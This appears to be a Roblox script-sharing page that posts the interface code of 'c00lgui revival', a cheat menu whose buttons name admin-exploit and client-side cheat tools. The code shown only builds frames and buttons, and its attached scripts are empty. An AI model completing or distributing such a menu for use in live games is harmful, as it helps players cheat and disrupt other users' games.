C00LGUI REVIVAL BY HYPERION
Key RequiredUniversal

C00LGUI REVIVAL BY HYPERION

Universal Scriptnik_itaa1nik_itaa1 13.2K views 674 executesUpdated Feb 22, 2025
Unrated
00
Lua Script•34615 lines (1230083 chars)
-- Instances: 297 | Scripts: 107 | Modules: 0 | Tags: 0
local G2L = {};

-- StarterGui.CoolGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["Name"] = [[CoolGui]];
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
G2L["1"]["ResetOnSpawn"] = false;


-- StarterGui.CoolGui.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["Active"] = true;
G2L["2"]["ZIndex"] = 2;
G2L["2"]["BorderSizePixel"] = 3;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Size"] = UDim2.new(0, 300, 0, 400);
G2L["2"]["Position"] = UDim2.new(0, 3, 0.3, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);


-- StarterGui.CoolGui.Frame.Title
G2L["3"] = Instance.new("TextLabel", G2L["2"]);
G2L["3"]["ZIndex"] = 2;
G2L["3"]["BorderSizePixel"] = 3;
G2L["3"]["TextSize"] = 24;
G2L["3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3"]["Size"] = UDim2.new(1, 0, 0, 40);
G2L["3"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["3"]["Text"] = [[c00lgui revival by Hyperion]];
G2L["3"]["Name"] = [[Title]];


-- StarterGui.CoolGui.Frame.left
G2L["4"] = Instance.new("TextButton", G2L["2"]);
G2L["4"]["BorderSizePixel"] = 3;
G2L["4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4"]["TextSize"] = 48;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4"]["ZIndex"] = 2;
G2L["4"]["Size"] = UDim2.new(0.5, 0, 0, 40);
G2L["4"]["Name"] = [[left]];
G2L["4"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["4"]["Text"] = [[<]];
G2L["4"]["Position"] = UDim2.new(0, 0, 0, 40);


-- StarterGui.CoolGui.Frame.left.LocalScript
G2L["5"] = Instance.new("LocalScript", G2L["4"]);



-- StarterGui.CoolGui.Frame.Page1
G2L["6"] = Instance.new("Frame", G2L["2"]);
G2L["6"]["Visible"] = true;
G2L["6"]["Active"] = true;
G2L["6"]["ZIndex"] = 2;
G2L["6"]["BorderSizePixel"] = 3;
G2L["6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["6"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["6"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["6"]["Name"] = [[Page1]];


-- StarterGui.CoolGui.Frame.Page1.PageLabel
G2L["7"] = Instance.new("TextLabel", G2L["6"]);
G2L["7"]["ZIndex"] = 2;
G2L["7"]["BorderSizePixel"] = 3;
G2L["7"]["TextSize"] = 14;
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["7"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["7"]["Text"] = [[Page 1]];
G2L["7"]["Name"] = [[PageLabel]];
G2L["7"]["Position"] = UDim2.new(0, 0, 1, -30);


-- StarterGui.CoolGui.Frame.Page1.acg
G2L["8"] = Instance.new("Frame", G2L["6"]);
G2L["8"]["Active"] = true;
G2L["8"]["BorderSizePixel"] = 3;
G2L["8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["8"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["8"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["8"]["Name"] = [[acg]];


-- StarterGui.CoolGui.Frame.Page1.acg.SectionTitle
G2L["9"] = Instance.new("TextLabel", G2L["8"]);
G2L["9"]["BorderSizePixel"] = 3;
G2L["9"]["TextSize"] = 14;
G2L["9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["9"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["9"]["Text"] = [[Admin Commands/Guis]];
G2L["9"]["Name"] = [[SectionTitle]];


-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["a"] = Instance.new("TextButton", G2L["8"]);
G2L["a"]["TextWrapped"] = true;
G2L["a"]["BorderSizePixel"] = 3;
G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a"]["TextSize"] = 14;
G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["a"]["Name"] = [[Button]];
G2L["a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["a"]["Text"] = [[Rocky2u's Script CMDs]];
G2L["a"]["Position"] = UDim2.new(0, 0, 0, 33);


-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["b"] = Instance.new("LocalScript", G2L["a"]);



-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["c"] = Instance.new("TextButton", G2L["8"]);
G2L["c"]["BorderSizePixel"] = 3;
G2L["c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c"]["TextSize"] = 14;
G2L["c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["c"]["Name"] = [[Button]];
G2L["c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["c"]["Text"] = [[Infinite Yield]];
G2L["c"]["Position"] = UDim2.new(0, 0, 0, 66);


-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["d"] = Instance.new("LocalScript", G2L["c"]);



-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["e"] = Instance.new("TextButton", G2L["8"]);
G2L["e"]["BorderSizePixel"] = 3;
G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e"]["TextSize"] = 14;
G2L["e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["e"]["Name"] = [[Button]];
G2L["e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["e"]["Text"] = [[Bomb Planter]];
G2L["e"]["Position"] = UDim2.new(0, 0, 0, 99);


-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["f"] = Instance.new("LocalScript", G2L["e"]);



-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["10"] = Instance.new("TextButton", G2L["8"]);
G2L["10"]["BorderSizePixel"] = 3;
G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10"]["TextSize"] = 14;
G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["10"]["Name"] = [[Button]];
G2L["10"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["10"]["Text"] = [[Fly Gui]];
G2L["10"]["Position"] = UDim2.new(0, 0, 0, 132);


-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["11"] = Instance.new("LocalScript", G2L["10"]);



-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["12"] = Instance.new("TextButton", G2L["8"]);
G2L["12"]["BorderSizePixel"] = 3;
G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12"]["TextSize"] = 14;
G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["12"]["Name"] = [[Button]];
G2L["12"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["12"]["Text"] = [[Fedora Admin]];
G2L["12"]["Position"] = UDim2.new(0, 0, 0, 165);


-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["13"] = Instance.new("LocalScript", G2L["12"]);



-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["14"] = Instance.new("TextButton", G2L["8"]);
G2L["14"]["BorderSizePixel"] = 3;
G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14"]["TextSize"] = 14;
G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["14"]["Name"] = [[Button]];
G2L["14"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["14"]["Text"] = [[Energize]];
G2L["14"]["Position"] = UDim2.new(0, 0, 0, 198);


-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["15"] = Instance.new("LocalScript", G2L["14"]);



-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["16"] = Instance.new("TextButton", G2L["8"]);
G2L["16"]["BorderSizePixel"] = 3;
G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["TextSize"] = 14;
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["16"]["Name"] = [[Button]];
G2L["16"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["16"]["Text"] = [[OPFinality]];
G2L["16"]["Position"] = UDim2.new(0, 73, 0, 66);


-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["17"] = Instance.new("LocalScript", G2L["16"]);



-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["18"] = Instance.new("TextButton", G2L["8"]);
G2L["18"]["BorderSizePixel"] = 3;
G2L["18"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18"]["TextSize"] = 14;
G2L["18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["18"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["18"]["Name"] = [[Button]];
G2L["18"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["18"]["Text"] = [[Executor]];
G2L["18"]["Position"] = UDim2.new(0, 73, 0, 99);


-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["19"] = Instance.new("LocalScript", G2L["18"]);



-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["1a"] = Instance.new("TextButton", G2L["8"]);
G2L["1a"]["BorderSizePixel"] = 3;
G2L["1a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a"]["TextSize"] = 14;
G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["1a"]["Name"] = [[Button]];
G2L["1a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["1a"]["Text"] = [[Reviz Admin]];
G2L["1a"]["Position"] = UDim2.new(0, 73, 0, 132);


-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["1b"] = Instance.new("LocalScript", G2L["1a"]);



-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["1c"] = Instance.new("TextButton", G2L["8"]);
G2L["1c"]["BorderSizePixel"] = 3;
G2L["1c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c"]["TextSize"] = 14;
G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["1c"]["Name"] = [[Button]];
G2L["1c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["1c"]["Text"] = [[ReplicationUI]];
G2L["1c"]["Position"] = UDim2.new(0, 73, 0, 165);


-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["1d"] = Instance.new("LocalScript", G2L["1c"]);



-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["1e"] = Instance.new("TextButton", G2L["8"]);
G2L["1e"]["BorderSizePixel"] = 3;
G2L["1e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1e"]["TextSize"] = 14;
G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["1e"]["Name"] = [[Button]];
G2L["1e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["1e"]["Text"] = [[T0PK3K]];
G2L["1e"]["Position"] = UDim2.new(0, 73, 0, 198);


-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["1f"] = Instance.new("LocalScript", G2L["1e"]);



-- StarterGui.CoolGui.Frame.Page1.acg.Button
G2L["20"] = Instance.new("TextButton", G2L["8"]);
G2L["20"]["TextWrapped"] = true;
G2L["20"]["BorderSizePixel"] = 3;
G2L["20"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20"]["TextSize"] = 14;
G2L["20"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["20"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["20"]["Name"] = [[Button]];
G2L["20"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["20"]["Text"] = [[Nameless Admin]];
G2L["20"]["Position"] = UDim2.new(0, 73, 0, 33);


-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
G2L["21"] = Instance.new("LocalScript", G2L["20"]);



-- StarterGui.CoolGui.Frame.Page1.svd
G2L["22"] = Instance.new("Frame", G2L["6"]);
G2L["22"]["Active"] = true;
G2L["22"]["BorderSizePixel"] = 3;
G2L["22"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["22"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["22"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["22"]["Name"] = [[svd]];


-- StarterGui.CoolGui.Frame.Page1.svd.SectionTitle
G2L["23"] = Instance.new("TextLabel", G2L["22"]);
G2L["23"]["BorderSizePixel"] = 3;
G2L["23"]["TextSize"] = 14;
G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["23"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["23"]["Text"] = [[ClientSide Scripts]];
G2L["23"]["Name"] = [[SectionTitle]];


-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["24"] = Instance.new("TextButton", G2L["22"]);
G2L["24"]["TextWrapped"] = true;
G2L["24"]["BorderSizePixel"] = 3;
G2L["24"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24"]["TextSize"] = 14;
G2L["24"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["24"]["Name"] = [[Button]];
G2L["24"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["24"]["Text"] = [[c00lgui (pre-reborn)]];
G2L["24"]["Position"] = UDim2.new(0, 0, 0, 33);


-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["25"] = Instance.new("LocalScript", G2L["24"]);



-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["26"] = Instance.new("TextButton", G2L["22"]);
G2L["26"]["BorderSizePixel"] = 3;
G2L["26"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["26"]["TextSize"] = 14;
G2L["26"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["26"]["Name"] = [[Button]];
G2L["26"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["26"]["Text"] = [[c00lify]];
G2L["26"]["Position"] = UDim2.new(0, 0, 0, 66);


-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["27"] = Instance.new("LocalScript", G2L["26"]);



-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["28"] = Instance.new("TextButton", G2L["22"]);
G2L["28"]["BorderSizePixel"] = 3;
G2L["28"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28"]["TextSize"] = 14;
G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["28"]["Name"] = [[Button]];
G2L["28"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["28"]["Text"] = [[YourMom Gui]];
G2L["28"]["Position"] = UDim2.new(0, 0, 0, 99);


-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["29"] = Instance.new("LocalScript", G2L["28"]);



-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["2a"] = Instance.new("TextButton", G2L["22"]);
G2L["2a"]["BorderSizePixel"] = 3;
G2L["2a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a"]["TextSize"] = 14;
G2L["2a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["2a"]["Name"] = [[Button]];
G2L["2a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["2a"]["Text"] = [[T0PK3K FD]];
G2L["2a"]["Position"] = UDim2.new(0, 0, 0, 132);


-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["2b"] = Instance.new("LocalScript", G2L["2a"]);



-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["2c"] = Instance.new("TextButton", G2L["22"]);
G2L["2c"]["BorderSizePixel"] = 3;
G2L["2c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2c"]["TextSize"] = 14;
G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["2c"]["Name"] = [[Button]];
G2L["2c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["2c"]["Text"] = [[666ify]];
G2L["2c"]["Position"] = UDim2.new(0, 0, 0, 165);


-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["2d"] = Instance.new("LocalScript", G2L["2c"]);



-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["2e"] = Instance.new("TextButton", G2L["22"]);
G2L["2e"]["BorderSizePixel"] = 3;
G2L["2e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2e"]["TextSize"] = 14;
G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["2e"]["Name"] = [[Button]];
G2L["2e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["2e"]["Text"] = [[Ro-Xploit]];
G2L["2e"]["Position"] = UDim2.new(0, 73, 0, 66);


-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["2f"] = Instance.new("LocalScript", G2L["2e"]);



-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["30"] = Instance.new("TextButton", G2L["22"]);
G2L["30"]["BorderSizePixel"] = 3;
G2L["30"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30"]["TextSize"] = 14;
G2L["30"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["30"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["30"]["Name"] = [[Button]];
G2L["30"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["30"]["Text"] = [[Infinite Yield FD]];
G2L["30"]["Position"] = UDim2.new(0, 73, 0, 99);


-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["31"] = Instance.new("LocalScript", G2L["30"]);



-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["32"] = Instance.new("TextButton", G2L["22"]);
G2L["32"]["BorderSizePixel"] = 3;
G2L["32"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["32"]["TextSize"] = 14;
G2L["32"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["32"]["Name"] = [[Button]];
G2L["32"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["32"]["Text"] = [[Lazor Mouth]];
G2L["32"]["Position"] = UDim2.new(0, 73, 0, 132);


-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["33"] = Instance.new("LocalScript", G2L["32"]);



-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["34"] = Instance.new("TextButton", G2L["22"]);
G2L["34"]["BorderSizePixel"] = 3;
G2L["34"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["34"]["TextSize"] = 14;
G2L["34"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["34"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["34"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["34"]["Name"] = [[Button]];
G2L["34"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["34"]["Text"] = [[Play Music]];
G2L["34"]["Position"] = UDim2.new(0, 73, 0, 165);


-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["35"] = Instance.new("LocalScript", G2L["34"]);



-- StarterGui.CoolGui.Frame.Page1.svd.Button
G2L["36"] = Instance.new("TextButton", G2L["22"]);
G2L["36"]["BorderSizePixel"] = 3;
G2L["36"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["36"]["TextSize"] = 14;
G2L["36"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["36"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["36"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["36"]["Name"] = [[Button]];
G2L["36"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["36"]["Text"] = [[Grab Knife]];
G2L["36"]["Position"] = UDim2.new(0, 73, 0, 33);


-- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript
G2L["37"] = Instance.new("LocalScript", G2L["36"]);



-- StarterGui.CoolGui.Frame.right
G2L["38"] = Instance.new("TextButton", G2L["2"]);
G2L["38"]["BorderSizePixel"] = 3;
G2L["38"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["38"]["TextSize"] = 48;
G2L["38"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["38"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["38"]["ZIndex"] = 2;
G2L["38"]["Size"] = UDim2.new(0.5, -3, 0, 40);
G2L["38"]["Name"] = [[right]];
G2L["38"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["38"]["Text"] = [[>]];
G2L["38"]["Position"] = UDim2.new(0.5, 3, 0, 40);


-- StarterGui.CoolGui.Frame.right.LocalScript
G2L["39"] = Instance.new("LocalScript", G2L["38"]);



-- StarterGui.CoolGui.Frame.Settings
G2L["3a"] = Instance.new("Frame", G2L["2"]);
G2L["3a"]["Active"] = true;
G2L["3a"]["BorderSizePixel"] = 3;
G2L["3a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3a"]["Size"] = UDim2.new(0, 300, 0, 400);
G2L["3a"]["Position"] = UDim2.new(1, 3, 0, 0);
G2L["3a"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["3a"]["Name"] = [[Settings]];


-- StarterGui.CoolGui.Frame.Settings.SettingsTitle
G2L["3b"] = Instance.new("TextLabel", G2L["3a"]);
G2L["3b"]["BorderSizePixel"] = 3;
G2L["3b"]["TextSize"] = 24;
G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3b"]["Size"] = UDim2.new(1, 0, 0, 40);
G2L["3b"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["3b"]["Text"] = [[Settings]];
G2L["3b"]["Name"] = [[SettingsTitle]];


-- StarterGui.CoolGui.Frame.Settings.SettingsButton
G2L["3c"] = Instance.new("TextButton", G2L["3a"]);
G2L["3c"]["BorderSizePixel"] = 3;
G2L["3c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3c"]["TextSize"] = 48;
G2L["3c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3c"]["Size"] = UDim2.new(0, 27, 1, 0);
G2L["3c"]["Name"] = [[SettingsButton]];
G2L["3c"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["3c"]["Text"] = [[<]];
G2L["3c"]["Position"] = UDim2.new(1, 3, 0, 0);


-- StarterGui.CoolGui.Frame.Settings.SettingsButton.SettingsCloseOpen
G2L["3d"] = Instance.new("LocalScript", G2L["3c"]);
